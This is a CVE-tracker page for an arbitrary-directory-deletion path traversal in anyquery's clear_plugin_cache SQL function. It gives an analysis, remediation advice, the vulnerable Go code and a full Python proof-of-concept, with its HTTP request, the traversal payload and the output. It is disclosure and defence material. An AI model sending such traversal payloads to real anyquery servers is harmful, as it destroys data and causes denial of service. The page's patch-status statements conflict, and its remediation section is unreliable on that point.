Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain low-privileged bearer token
-
DeliveryReach /execute-query HTTP endpoint
-
ExploitSubmit SQL with traversal payload in clear_plugin_cache
-
Executionpath.Join resolves '..' outside cache root
-
Persistos.RemoveAll deletes arbitrary directory
-
ImpactTargeted data loss and denial of service
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must reach the anyquery HTTP API (default 127.0.0.1:8070 in the PoC, but commonly bound to a network interface in shared deployments) and possess a valid bearer token with permission to call the /execute-query or /v1/query endpoint - PR:L in the CVSS vector indicates low-privilege authentication is required, not unauthenticated access. The vulnerable clear_plugin_cache SQL scalar function must be reachable through the SQL surface, which it is by default in 0.4.4 and earlier. Limiting factors that reduce real-world risk: anyquery is frequently deployed as a single-user local tool where the bearer token is not shared, deletion is bounded by the OS-level file permissions of the anyquery process (so a non-root deployment cannot delete root-owned directories), and the function returns no contents so there is no confidentiality leak. The CVSS UI:R flag suggests user interaction is required, but the published PoC demonstrates fully scripted exploitation once a token is held, so the UI:R rating should be treated with caution rather than relied on as a mitigating factor. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H scores 7.3 (High), reflecting network reachability, low complexity, and high integrity and availability impact with no confidentiality loss - consistent with arbitrary directory deletion. The PR:L component confirms authentication is required (a bearer token), and UI:R is unusual given the PoC shows fully scripted exploitation with no victim interaction; this UI:R rating appears conservative or possibly miscoded relative to the demonstrated attack, and defenders should treat the realistic attack as non-interactive once a token is held. A working PoC is published in the GHSA, so publicly available exploit code exists, but the CVE is not listed in CISA KEV and no EPSS score was provided in the input. Overall priority is high for any anyquery deployment exposing the HTTP API to multi-tenant or low-trust users, and moderate for single-user local installations where the bearer token is not shared. |
| Exploit ScenarioDerived | An attacker who has obtained or been granted a low-privileged bearer token - for example a developer on a shared anyquery instance or a compromised LLM agent that holds an API credential - sends POST /execute-query (or /v1/query) with the body {"query": "SELECT clear_plugin_cache('../../../../tmp/target')"}, causing the server to delete /tmp/target. By iterating across well-known paths (config directories, application data, the user's home), the attacker destroys configuration and state, producing a persistent denial of service and irreversible data loss; the published PoC against a Dockerised build deletes /tmp/poc_sentinel outside /root/.cache/anyquery/plugins/ and returns HTTP 200, confirming low-complexity, scripted exploitation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 10, 2026
Arbitrary directory deletion in julien040/anyquery 0.4.4 and earlier allows an authenticated low-privileged bearer-token holder to delete any directory accessible to the server process by submitting a SQL query that invokes clear_plugin_cache with a path-traversal payload. The flaw stems from path.Join silently resolving '..' segments before os.RemoveAll, and publicly available exploit code exists in the GitHub Security Advisory GHSA-j9rx-rppg-6hh4. Verified impact includes irreversible deletion of files outside the intended $XDG_CACHE_HOME/anyquery/plugins/ cache root, producing data loss and denial of service.
RemediationAI
Upgrade to anyquery 0.4.5, the vendor-released patch that adds server sandboxing to remediate both CVE-2026-47253 and CVE-2026-50006 per the release notes at https://github.com/julien040/anyquery/releases/tag/0.4.5. If immediate upgrade is not possible, restrict network reachability of the HTTP query endpoint (default port 8070) to trusted hosts only, revoke or rotate bearer tokens shared with untrusted users, and run the anyquery process under a dedicated unprivileged account whose only writable paths are the cache directory itself to bound the blast radius of any RemoveAll call; the trade-off is loss of multi-user API access and potential loss of legitimate write functionality outside the cache. The upstream fix (commit 27f84fc168310455eaf81ec4ba87eed20298670c) introduces sandboxing rather than the prefix-check approach the reporter suggested, so downstream forks applying their own patch should canonicalise the resolved path with filepath.Rel against the cache root and reject any result beginning with '..' before calling os.RemoveAll, and additionally reject plugin values containing '/', '\', or a leading '.' at the API boundary.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Anyquery (pkg:go/github.com_julien040_anyquery) is a Go-based SQLite-fronted query engine that exposes an HTTP API for executing SQL against heterogeneous data sources. The vulnerability lives in the SQL scalar function clear_plugin_cache(plugin) defined in namespace/other_functions.go, which concatenates the caller-supplied plugin argument into the cache directory using pathlib.Join and then calls os.RemoveAll on the result. The only guard is an empty-string check; because Go's path.Join cleans but does not constrain '..' segments, the resolved path can escape the intended cache root. This is a textbook CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) issue, where attacker-controlled input flows through HTTP body → executeQueryLLM (controller/llm.go) → SQLite function dispatch → filesystem deletion without canonicalisation against an allow-list root.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H
Primary rating from Vendor (https://github.com/julien040/anyquery).
CVSS VectorVendor: https://github.com/julien040/anyquery
DescriptionCVE.org
Path Traversal in clear_plugin_cache Allows Arbitrary Directory Deletion
| Field | Value |
|---|---|
| Repository | julien040/anyquery |
| Affected version | 0.4.4 |
| Vulnerability | CWE-22 - Improper Limitation of a Pathname to a Restricted Directory |
| Severity | High |
Summary
The SQL scalar function clear_plugin_cache(plugin) in namespace/other_functions.go passes the caller-supplied plugin argument directly to path.Join and then to os.RemoveAll, with only an empty-string check as a guard. Because path.Join silently resolves .. segments, a low-privileged bearer-token holder can submit SELECT clear_plugin_cache('../../../../tmp/target') to the /v1/query HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside $XDG_CACHE_HOME/anyquery/plugins/ was successfully deleted, confirming full path-traversal exploitation.
Affected Code
namespace/other_functions.go:46 - pathlib.Join resolves .. segments in attacker-controlled plugin, producing a path outside the cache root
namespace/other_functions.go:53 - os.RemoveAll unconditionally deletes the traversed path
func clear_plugin_cache(plugin string) string {
pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)
if plugin == "" {
return "The plugin name is empty"
}
// Remove the directory
err := os.RemoveAll(pathToRemove)
if err != nil {
return err.Error()
}
return ""
}HTTP JSON body.Query → executeQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear_plugin_cache(plugin) → pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) at other_functions.go:46 → os.RemoveAll at other_functions.go:53
Proof of Concept
Prerequisites:
- Docker installed
- Python 3 with
requestspackage (pip install requests)
Step 1 - Build and start the vulnerable service:
docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002Step 2 - Run the PoC script (separate terminal):
python3 poc.pypoc.py:
#!/usr/bin/env python3
"""PoC reproduction script - julien040/anyquery / VULN-002
Prerequisites:
- Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .
- Container running: docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
- Python packages: requests (stdlib subprocess also used)
How to run (from this report directory, after Dockerfile service is up):
python3 poc.py
Expected on success:
Final stdout line begins with `RESULT: PASS` confirming that the sentinel
directory outside the cache root was deleted via clear_plugin_cache path traversal.
"""
import subprocess
import sys
import json
import requests
BASE_URL = "http://127.0.0.1:8070"
CONTAINER = "anyquery-vuln002"
# Traversal payload: XDG_CACHE_HOME=/root/.cache, so
# path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel")
# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).
TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel"
SENTINEL_PATH = "/tmp/poc_sentinel"
QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')"
def docker_exec(cmd):
result = subprocess.run(
["docker", "exec", CONTAINER] + cmd,
capture_output=True, text=True
)
return result.returncode, result.stdout, result.stderr
def sentinel_exists():
rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH])
return rc == 0
# Step 1: create sentinel inside container
print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...")
rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH])
if rc != 0:
sys.exit(f"RESULT: FAIL - could not create sentinel: {err}")
if not sentinel_exists():
sys.exit("RESULT: FAIL - sentinel not present after mkdir")
print(f" Sentinel created: {SENTINEL_PATH}")
# Step 2: confirm server is reachable
print("[2] Confirming server is reachable...")
try:
r = requests.get(f"{BASE_URL}/list-tables", timeout=5)
assert r.status_code == 200, f"unexpected status {r.status_code}"
print(f" GET /list-tables → HTTP {r.status_code} OK")
except Exception as e:
sys.exit(f"RESULT: FAIL - server not reachable: {e}")
# Step 3: send traversal request
print("[3] Sending path-traversal payload via POST /execute-query...")
payload = {"query": QUERY}
r = requests.post(
f"{BASE_URL}/execute-query",
headers={"Content-Type": "application/json"},
data=json.dumps(payload),
timeout=10,
)
print(f" HTTP {r.status_code}")
print(f" Body: {r.text.strip()}")
if r.status_code != 200:
sys.exit(f"RESULT: FAIL - unexpected HTTP status {r.status_code}")
# Step 4: verify sentinel is gone
print("[4] Checking whether sentinel was deleted inside container...")
if sentinel_exists():
print(f" Sentinel still present - traversal did not delete it.")
print(f"RESULT: FAIL - {SENTINEL_PATH} still exists after traversal request")
else:
print(f" Sentinel GONE - {SENTINEL_PATH} deleted outside cache root.")
print(f"RESULT: PASS - clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)")HTTP request:
POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json
{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}Output:
[1] Creating sentinel directory /tmp/poc_sentinel inside container...
Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
HTTP 200
Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
| |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
Sentinel GONE - /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS - clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)Impact
An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a ..-traversing plugin name to clear_plugin_cache. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary ($XDG_CACHE_HOME/anyquery/plugins/). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.
Remediation
In namespace/other_functions.go, resolve the full path and confirm it shares the expected cache-root prefix before calling os.RemoveAll:
func clear_plugin_cache(plugin string) string {
if plugin == "" {
return "The plugin name is empty"
}
cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
pathToRemove := pathlib.Join(cacheRoot, plugin)
rel, err := filepath.Rel(cacheRoot, pathToRemove)
if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
return "Invalid plugin name"
}
if err := os.RemoveAll(pathToRemove); err != nil {
return err.Error()
}
return ""
}As a defence-in-depth measure, also reject plugin values containing /, \, or a leading . at the input level before the path.Join call, so traversal sequences are blocked at the earliest opportunity.
Articles & Coverage 2
Executive ViewAI
anyquery 0.4.4 and earlier are vulnerable to file deletion attacks by authenticated token holders, allowing destruction of arbitrary server files and resulting in irreversible data loss and service outages. Publicly available exploit code exists and no vendor patch is available, demanding immediate action to prevent data destruction and operational impact.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Limit bearer token issuance and access to essential users; (2) run anyquery with read-only filesystem permissions except for designated cache directories; (3) implement immutable backups with defined retention period; (4) enable comprehensive audit logging of all SQL operations; (5) restrict or disable the clear_plugin_cache function or require path validation to reject parent-directory access; (6) network-segment anyquery from critical data systems.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Same weakness CWE-22 – Path Traversal
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-77807
GHSA-j9rx-rppg-6hh4
NVD
CVE.org
EPSS
Exploit-DB